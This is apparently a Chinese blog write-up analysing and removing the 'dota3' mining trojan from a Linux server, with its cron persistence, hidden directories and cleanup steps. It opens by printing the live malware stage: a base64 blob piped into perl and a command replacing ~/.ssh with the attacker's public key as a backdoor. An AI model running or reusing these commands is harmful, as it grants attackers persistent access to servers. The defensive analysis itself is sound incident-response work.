KCJgQCJCYEAoIiFJOUJgSCkmJUQ5JylFPFcsQC83WEBfK1VZPDkiTEQrUkRAPlBIQCgiYEAoImBAKCcpRT0nNVI7QiFJO0Y1VDdWWVQ7ViRIPCYlQzpSYEIzQihMKCIxQTkmMVI5Ny1TKjNMKigiYEAoJ1RAXzk2UVM6NjhAKiIxQTkmMVI5Ny1TKCNVXigiXT42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTCxHVTwrRUxRLEVUXzcmMVssMlBSPzVQTl82UyRSNzNdPDknTFErIyldKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQCkmJUQ5JylFPFcsWyJCYEAoIiFdKCY1TDxWRUYoIkBEODYxRDxGNVNfPFJgXT9CIVQ8Ql1BKzdJISs1SE8rUkRAPlJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCJCYEAoImBAKCJgQDxGNVQ9NylOKCZFTjk3MT87RzFPXzgyQEgqJj1FPSZBTzxXMUI+NllBOzY0SCkmJUQ5JylFPFcsSSo1TFQ3MkU7LCVUSS5QSEAoImBAPzIhRTsnLUUoJ0wqKCJgQCgiYEAoIiFSOTcxVSs8RlhbIkJgQCgiIV0iR1R9" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
代码好长啊?其实就主要是两部分


1、恶意代码加密后base64

2、把黑客的rsa公钥加到.ssh/authorized_keys,这样留下免密登录ssh的后门,真是够坏的。

下面我们把上面那串base64解密,如下:

from clipboard

代码是加密过的。怎么办呢?

把上面文件开头的eval改成print并保存为ax.pl

from clipboard

执行perl脚本见证奇迹的时候来了。

perl ax.pl|less

from clipboard

原代码一览无余,哈哈。其中的进程名和ip暴露了。ip是一个国外的ip,第二行中的$processo,rsync应该就是木马进程名。

这个名字也够鬼的,是不是似曾相识?

对,没有错,就是和大名鼎鼎的rsync文件同步的组件一样,粗心的同学还以为这个进程是系统进程。

注意:rsync的进程名是rsyncd。


下面我们来看看这个木马进程rsync。

from clipboard


from clipboard

从上面看到是指向的是perl,这是Linux系统自带的文件,所以这个文件没有毛病。

因此,这里再次验证上面base64其实就是一些列的perl脚本。

三、木马文件结构分析

切换用户ela和目录


from clipboard

从上面看到.ssh/authorized_keys中有/home/ela/.bashtemp/b/run文件中的公钥字符串。


查看/home/ela目录。有一个隐藏目录.bashtemp

from clipboard

从上图看到用户ela有定时任务。


0 0 */3 * * /home/ela/.bashtemp/a/upd>/dev/null 2>&1
@reboot /home/ela/.bashtemp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/ela/.bashtemp/b/sync>/dev/null 2>&1
@reboot /home/ela/.bashtemp/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X19-unix/.rsync/c/aptitude>/dev/null 2>&1


下面我们来看看这几个命令文件具体是什么东东?

1、0 0 */3 * * /home/ela/.bashtemp/a/upd

0 0 */3 * * /home/ela/.bashtemp/a/upd>/dev/null 2>&1

from clipboard

大体意思就是把如果当前进程存在,就先kill掉。然后执行/home/ela/.bashtemp/a/run:

from clipboard

先判断cpu类型,本机是x86_64所以执行/home/ela/.bashtemp/a/cron:

这个文件是一个二进制文件。

2、@reboot /home/ela/.bashtemp/a/upd>/dev/null 2

这个和上面一样,只不过运行时间不一样,是服务器重启的时候运行。

3、5 8 * * 0 /home/ela/.bashtemp/b/sync

from clipboard

运行真正shell文件是/home/ela/.bashtemp/b/run:

就是上面最开始我们看到的有base64加密和rsa的恶意代码


4、@reboot /home/ela/.bashtemp/b/sync

这个和上面一样,只不过运行时间不一样,是服务器重启的时候运行。

5、0 0 */3 * * /tmp/.X19-unix/.rsync/c/aptitude


from clipboard


查看目录:/tmp/.X19-unix

from clipboard

dota3.tar.gz就是木马压缩包,如果你的系统是win10,下载这个包到文件会自动报特洛伊木马,如下图:

from clipboard

from clipboard

.rsync目录就是木马解压出来的的目录,既然原文件还在!为什么你这个乖乖没有删除呢?

下面我们来看看/tmp/.X19-unix/.rsync/c/aptitude内容:

[root@localhost ~]# cat /tmp/.X19-unix/.rsync/c/aptitude
from clipboard
运行的是真正运行的是/tmp/.X19-unix/.rsync/c/run

from clipboard

不同的cpu核心和位数运行频率不一样。其中里面调用的golan和go两个shell。

go内容如下:

from clipboard

golan内容如下:

from clipboard


[root@localhost ~]# ll /tmp/.X19-unix/.rsync/  -a

from clipboard

其中上面initall就是木马的安装启动程序:

from clipboard

调用的的init和init2生成目录并拷贝木马文件到指定目录。

/tmp/.X19-unix/.rsync/init

from clipboard

/tmp/.X19-unix/.rsync/init2

from clipboard


a、b、c文件结构:

from clipboard


终极清除dota3挖矿木马解决方案+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1、kill 进程rsync

kill -9 40741

from clipboard

2、删除定时任务

[ela@localhost ~]$ crontab -e

删除以下全部行

from clipboard

验证一下:

[ela@localhost ~]$ crontab -l

3、删除ssh后门key

from clipboard

from clipboard


4、最后删除相关文件

[ela@localhost ~]$ rm -rf .bashtemp


5、删除临时目录中的木马文件

[root@localhost ~]# rm -rf /tmp/.X19-unix/.rsync
[root@localhost ~]# rm -rf /tmp/.X19-unix/dota3.tar.gz

from clipboard

==============

ps:具体原因是怎么被入侵的还未知?初步判断可能是ssh弱口令导致的。

清理木马后第二天观察服务器有以下提示:

from clipboard

然后通过以下命令查看:

[root@localhost ~]# lastb

from clipboard

发现大量的notty用户尝试登录,说明黑客又来试图高爆破我们ssh账号弱口令。

go to hell

建议大家为了联系或者锻炼排查这种问题的能力,可以搭建一个ssh蜜罐,让黑客来爆破。来分析溯源这种问题。


小编蓝狐